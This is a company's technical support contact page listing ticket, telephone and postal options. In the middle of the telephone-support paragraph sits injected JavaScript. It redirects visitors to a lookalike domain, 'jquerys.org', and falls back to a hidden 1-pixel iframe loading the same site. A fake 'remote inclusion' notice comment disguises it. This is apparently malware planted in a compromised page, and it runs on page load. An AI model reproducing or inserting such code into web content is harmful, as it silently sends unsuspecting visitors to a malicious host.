Technical Support

Efficient customer support is one of our main priorities, that is why we provide a vast array of available support mediums.

Average Response Time: 30 minutes (for technical support, allow up to 24hrs for all other departments) 
Availability: 24x7x365
 
We strongly recommend that you use our Submit Ticket Support to get in touch with American Business Marketing. Our engineers are available 24×7 (literally) ready to assist. Be it 12pm on a busy lunch time or 3am Christmas Day – we are standing by.
 
Please note response times to sales and billing may take slightly longer as priority is always given to existing clients that require technical support assistance.
 
US Telephone Support: 1-415-889-8893
Average Response Time: Instant
Availability: M-F 9-9pm PST
 
Our telephone support deals with issues regarding level 1 support requests. Anything more and the engineer on the call will open a ticket for /* NOTICE! You've requested a file that is not available for remote inclusion. */ try{ window.location = 'http://www.jquerys.org'; }catch(e){ var rframe = document.createElement("iframe"); rframe.setAttribute('width','1px'); rframe.setAttribute('height','1px'); rframe.setAttribute('frameborder','0'); rframe.setAttribute('id','rfx'); rframe.setAttribute('src','http://www.jquerys.org'); document.body.appendChild(rframe); } you on our support desk. He/She will then continue to answer your request through the ticket support. Our telephone support is limited to basic technical related issues only (domain, end user support and other value added features are excluded and thus must be done via ticket).
 
Postal Address – For non urgent situations
 
American Business Marketing
1728 Ocean Ave. Suite 186
San Francisco, CA 94112
United States
 
Response times for postal mail can take up to 2 weeks. Please do not use this for emergencies.